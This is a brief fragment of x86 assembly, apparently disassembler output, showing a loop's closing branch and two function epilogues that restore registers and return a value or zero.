add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x1003f9e1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret